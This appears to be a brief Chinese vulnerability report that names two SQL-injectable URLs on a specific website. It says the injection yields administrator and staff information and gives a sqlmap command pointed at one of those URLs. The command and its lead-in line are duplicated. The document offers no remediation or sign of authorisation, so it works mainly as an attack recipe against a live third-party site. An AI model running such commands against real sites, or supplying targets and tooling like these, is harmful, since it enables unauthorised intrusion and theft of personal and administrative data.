注入点:
http://www.zz185.com/list_new.asp?spe_id=292
http://www.zz185.com/news.asp?id=672
通过注入,可以获取到管理员的信息及员工信息
以http://www.zz185.com/list_new.asp?spe_id=292为例测试:
sqlmap -u "http://www.zz185.com/list_new.asp?spe_id=292"
以http://www.zz185.com/list_new.asp?spe_id=292为例测试:
sqlmap -u "http://www.zz185.com/list_new.asp?spe_id=292"